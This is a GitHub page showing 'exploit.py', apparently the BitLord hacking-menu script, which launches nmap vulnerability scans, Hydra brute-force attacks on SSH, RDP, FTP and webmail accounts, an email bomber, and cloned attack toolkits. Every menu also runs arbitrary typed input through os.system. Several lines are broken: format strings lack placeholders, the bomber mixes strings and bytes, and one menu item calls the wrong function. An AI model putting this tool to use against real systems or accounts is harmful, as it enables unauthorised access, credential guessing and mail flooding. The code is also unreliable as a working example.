-
Notifications
You must be signed in to change notification settings - Fork 7
/
exploit.py
415 lines (373 loc) · 15.8 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
#!/usr/bin/python
import os
from os import system as s
import time
import getpass
import smtplib
import sys
import configparser
from time import gmtime, strftime, sleep
#checks the python version
if sys.version_info[0] != 3:
print('''
REQUIRED PYTHON 3.x
use: python3 exploit.py''')
sys.exit()
#the configuration Settings
installDir = os.path.dirname(os.path.abspath(__file__)) + '/'
configFile = installDir + "config/BitLord.cfg"
config = configparser.RawConfigParser()
config.read(configFile)
toolDir = installDir + config.get('BitLord', 'toolDir')
class color:
def __init__(self):
self.BOLD = '\033[1m'
self.RED = '\033[91m'
self.YELLOW = '\033[93m'
self.END = '\033[0m'
fa = color()
logo = fa.YELLOW + fa.BOLD + r'''
$$$$$$$\ $$$$$$\ $$$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$$\
$$ __$$\ \_$$ _|\__$$ __|$$ __$$\ $$ __$$\ $$ __$$\
$$ | $$ | $$ | $$ | $$ / \__|$$ / $$ |$$ | $$ |
$$$$$$$\ | $$ | $$ | $$ |$$$$\ $$ | $$ |$$ | $$ |
$$ __$$\ $$ | $$ | $$ |\_$$ |$$ | $$ |$$ | $$ |
$$ | $$ | $$ | $$ | $$ | $$ |$$ | $$ |$$ | $$ |
$$$$$$$ |$$$$$$\ $$ | \$$$$$$ | $$$$$$ |$$$$$$$ |
\_______/ \______| \__| \______/ \______/ \_______/
v2.0
Coded By : BitWalls-Sec
''' + fa.END
Prompt = fa.BOLD + "BitGod@BitWalls-Sec:" + fa.END
class BitLord:
def __init__(self):
s('clear')
print(logo + fa.BOLD + '''\n
[0] Information Gathering [1] Password Attack [2] Nmap Scripts
[3] Generate Wordlist [4] Crypto Jacking [5] Spoofing Attack
[6] SQL Attacks [7] Xss Attacks [8] DNS Tunnelling
[9] Eavesdropping Attacks [10] URL poisoning [11] Malware
[12] Session Hijacking [13] System Hacking [14] DDoS\n
''' + fa.YELLOW + '''[99] Exit \n''' + fa.END)
choice = input(Prompt)
if choice == "0":
InfoGathering()
elif choice == "1":
PasswordAttacks()
elif choice == "2":
NmapScripts()
elif choice == "3":
cupp()
elif choice == "4":
mail_bomber()
elif choice == "5":
Spoofing()
elif choice == "6":
print(fa.YELLOW + "\nComing Soon... CHECK BACK LATER!!\n" + fa.END)
elif choice == "7":
XssAttack()
elif choice == "8":
print(fa.YELLOW + "\nComing Soon... CHECK BACK LATER!!\n" + fa.END)
elif choice == "9":
print(fa.YELLOW + "\nComing Soon... CHECK BACK LATER!!\n" + fa.END)
elif choice == "10":
print(fa.YELLOW + "\nComing Soon... CHECK BACK LATER!!\n" + fa.END)
elif choice == "11":
print(fa.YELLOW + "\nComing Soon... CHECK BACK LATER!!\n" + fa.END)
elif choice == "12":
print(fa.RED + "\nCONTACT ME\n" + fa.END)
elif choice == "13":
print(fa.RED + "\nCONTACT ME\n" + fa.END)
elif choice == "14":
print(fa.RED + "\nCONTACT ME\n" + fa.END)
elif choice == "99":
exit()
else:
try:
print(os.system(choice))
except:
pass
class InfoGathering:
def __init__(self):
s('clear')
print(logo + fa.BOLD + '''\n\n
[0] Ping Scan [1] Quick Scan
[2] Quick Scan Plus [3] Quick Traceroute
[4] Intense Scan [5] Intense scan(all ports)\n
''' + fa.YELLOW + '''[99] Return To Main Menu \n''' + fa.END)
self.choose_scan()
def choose_scan(self):
choice = input(Prompt)
if choice == "0":
target = input("please Provide The Target: ")
s('nmap -sn %s' % (target))
elif choice == "1":
target = input("please Provide The Target: ")
s('nmap -T4 -F %s' % (target))
elif choice == "2":
target = input("please Provide The Target: ")
s('nmap -sV -T4 -O -F --version-light %s' % (target))
elif choice == "3":
target = input("please Provide The Target: ")
s('nmap -sn --traceroute %s' % (target))
elif choice == "4":
target = input("please Provide The Target: ")
s('nmap -T4 -A -v %s' % (target))
elif choice == "5":
target = input("please Provide The Target: ")
s('nmap -p 1-65535 -T4 -A -v %s' % (target))
elif choice == "99":
BitLord()
else:
try:
print(os.system(choice))
except:
pass
class PasswordAttacks:
def __init__(self):
s('clear')
print(logo + fa.BOLD + '''\n
[0] Cisco Brute Force [1] VNC Brute Force
[2] FTP Brute Force [3] Gmail Brute Force
[4] SSH Brute Force [5] Telnet Brute Force
[6] YahooMail Brute Force [7] HotMail Brute Force
[8] RDP Brute Force [9] MySQL Brute Force\n
''' + fa.YELLOW + '''[99] Return To Main Menu \n''' + fa.END)
self.choose_attack()
def choose_attack(self):
choice = input(Prompt)
if choice == '0':
print("""\n
+========================================+
|.......[◉] Cisco Brute Force [◉]........|
+========================================+\n""")
iphost = input("[*] IP/Hostname : ")
word = input("[*] Wordlist : ")
s("hydra -P %s %s cisco" % (word, iphost))
sys.exit()
elif choice == '1':
print("""\n
+========================================+
|.........[◉] VNC Brute Force [◉]........|
+========================================+\n""")
iphost = input("[*] IP/Hostname : ")
word = input("[*] Wordlist : ")
s("hydra -P %s -e n -t 1 %s vnc -V" % (word, iphost))
sys.exit()
elif choice == '2':
print("""\n
+========================================+
|.........[◉] FTP Brute Force [◉]........|
+========================================+\n""")
user = input('[*] User:')
iphost = input("[*] IP/Hostname : ")
word = input("[*] Wordlist : ")
s("hydra -l %s -P %s %s ftp" % (user, word, iphost))
sys.exit()
elif choice == '3':
print("""\n
+========================================+
|........[◉] Gmail Brute Force [◉].......|
+========================================+\n""")
email = input("[*] Email : ")
word = input("[*] Wordlist : ")
s("hydra -l %s -P %s -s 465 smtp.gmail.com smtp" % (email, word))
sys.exit()
elif choice == '4':
print("""\n
+========================================+
|.........[◉] SSh Brute Force [◉]........|
+========================================+\n""")
user = input('[*] User:')
iphost = input("[*] IP/Hostname : ")
word = input("[*] Wordlist : ")
s("hydra -l %s -P %s %s ssh" % (user, word, iphost))
sys.exit()
elif choice == '5':
print("""\n
+========================================+
|.......[◉] Telnet Brute Force [◉].......|
+========================================+\n""")
user = input('[*] User:')
word = input("[*] Wordlist : ")
iphost = input("[*] IP/Hostname : ")
s("hydra -l %s -P %s %s telnet" % (user, word, iphost))
sys.exit()
elif choice == '6':
print("""\n
+========================================+
|.........[◉] Yahoo Brute Force [◉]........|
+========================================+\n""")
email = input('[*] User:')
word = input("[*] Wordlist : ")
s("hydra -l %s -P %s -s 587 smtp.mail.yahoo.com smtp" % (email, word))
sys.exit()
elif choice == '7':
print("""\n
+========================================+
|.......[◉] Hotmail Brute Force [◉]......|
+========================================+\n""")
email = input('[*] User:')
word = input("[*] Wordlist : ")
s("hydra -l %s -P %s -s 587 smtp.live.com smtp" % (email, word))
sys.exit()
elif choice == '8':
print("""\n
+========================================+
|.........[◉] RDP Brute Force [◉]........|
+========================================+\n""")
user = input('[*] User:')
word = input("[*] Wordlist : ")
iphost = input("[*] IP/Hostname : ")
s("hydra -t 1 -V -f -l %s -P %s %s rdp" % (user, word, iphost))
sys.exit()
elif choice == '9':
print("""\n
+========================================+
|........[◉] MySQL Brute Force [◉].......|
+========================================+\n""")
user = input('[*] User:')
word = input("[*] Wordlist : ")
s("hydra -t 5 -V -f -l %s -e ns -P %s localhost mysql" % (user, word))
sys.exit()
elif choice == "99":
BitLord()
else:
try:
print(os.system(choice))
except:
pass
class NmapScripts:
def __init__(self):
s('clear')
print(logo + fa.BOLD + '''\n\n
[0] Cross Site Request Forgery [1] Smb_ms17_o10
[2] Dns Brutforce [3] Firewall Bypass
[4] Smb_ms08_067 [5] Smb_ms07_029
[6] Rdp_ms12_020 [7] Ssl-heartbleed
[8] Mysql dump hashes [9] Smtp-enum-users
[10] Smb Brutforce [11] Wordpress Brutforce\n
''' + fa.YELLOW + '''[99] Return To Main Menu \n''' + fa.END)
self.choose_scan()
def choose_scan(self):
choice = input(Prompt)
if choice == "0":
target = input("please Provide The Target: ")
s('nmap -p80 --script http-csrf.nse' % (target))
elif choice == "1":
target = input("please Provide The Target: ")
s('nmap -p445 --script smb-vuln-ms17-010' % (target))
elif choice == "2":
target = input("please Provide The Target: ")
s('nmap --script dns-brute' % (target))
elif choice == "3":
target = input("please Provide The Target: ")
s('nmap --script firewall-bypass' % (target))
elif choice == "4":
target = input("please Provide The Target: ")
s('nmap --script smb-vuln-ms08-067.nse -p445' % (target))
elif choice == "5":
target = input("please Provide The Target: ")
s('nmap --script smb-vuln-ms07-029.nse -p445' % (target))
elif choice == "6":
target = input("please Provide The Target: ")
s('nmap -sV --script=rdp-vuln-ms12-020 -p 3389' % (target))
elif choice == "7":
target = input("please Provide The Target: ")
s('nmap -p 443 --script ssl-heartbleed' % (target))
elif choice == "8":
target = input("please Provide The Target: ")
s('nmap -p 3306 <ip> --script mysql-dump-hashes --script-args="username=root,password=secret"' % (target))
elif choice == "9":
target = input("please Provide The Target: ")
s('nmap --script smtp-enum-users.nse [--script-args smtp-enum-users.methods={EXPN,...},...] -p 25,465,587' % (target))
elif choice == "10":
target = input("please Provide The Target: ")
s('nmap --script smb-brute.nse -p445' % (target))
elif choice == "11":
target = input("please Provide The Target: ")
s('nmap -sV --script http-wordpress-brute' % (target))
elif choice == "99":
BitLord()
else:
try:
print(s(choice))
except:
pass
class cupp:
def __init__(self):
self.installDir = toolDir + "cupp"
self.gitRepo = "https://github.com/Mebus/cupp.git"
if not self.installed():
os.system("git clone --depth=1 %s %s" % (self.gitRepo, self.installDir))
self.run()
def installed(self):
return (os.path.isdir(self.installDir))
def run(self):
os.system("python %s/cupp.py -i" % self.installDir)
def mail_bomber():
s("clear")
print(logo + fa.BOLD)
print(fa.BOLD + """\n
+========================================+
|..........[◉] Email Bomber [◉]..........|
+========================================+\n\n""")
to = input('\n[◉] Target Mail address : ')
user = input('\n[◉] Sender Email : ')
passwd = getpass.getpass('\n[◉] Password : ')
subject = input('Subject: ')
body = input('\n[◉] Message : ')
total = input('\n[◉] Number of send : ')
try:
server = smtplib.SMTP("smtp.gmail.com", 587)
server.ehlo()
server.starttls()
server.login(user, passwd)
for i in range(1, total+1):
subject = os.urandom(9)
msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body
server.sendmail(user, to, msg)
print("\r[✔] E-mails sent: %i" % i)
sys.stdout.flush()
server.quit()
print('\n[✔] Done [✔] !!!')
except smtplib.SMTPServerDisconnected:
server
except smtplib.SMTPAuthenticationError:
print('\n[✘] The username or password you entered is incorrect.')
sys.exit()
class Spoofing:
def __init__(self):
s('clear')
print(logo)
self.installDir = toolDir + "setoolkit"
self.gitRepo = "https://github.com/trustedsec/social-engineer-toolkit.git"
if not self.installed():
os.system("apt-get --force-yes -y install git apache2 python-requests libapache2-mod-php \
python-pymssql build-essential python-pexpect python-pefile python-crypto python-openssl")
os.system("git clone --depth=1 %s %s" % (self.gitRepo, self.installDir))
os.system("cd %s && python setup.py install" % self.installDir)
self.run()
else:
print("alreadyInstalled")
self.run()
def installed(self):
return (os.path.isfile("/usr/bin/setoolkit"))
def run(self):
os.system("setoolkit")
class SqlAttack:
#todo:write this after finishing the cli design
pass
class XssAttack:
def __init__(self):
self.installDir = toolDir + "Xsspy"
self.gitRepo = "https://github.com/faizann24/XssPy.git"
if not self.installed():
os.system("git clone --depth=1 {} {}".format(self.gitRepo, self.installDir))
self.run()
def installed(self):
return (os.path.isdir(self.installDir))
def run(self):
target = input("Enter Website Address: ")
os.system("python {}/XssPy.py -u {}".format(self.installDir, target))
BitLord()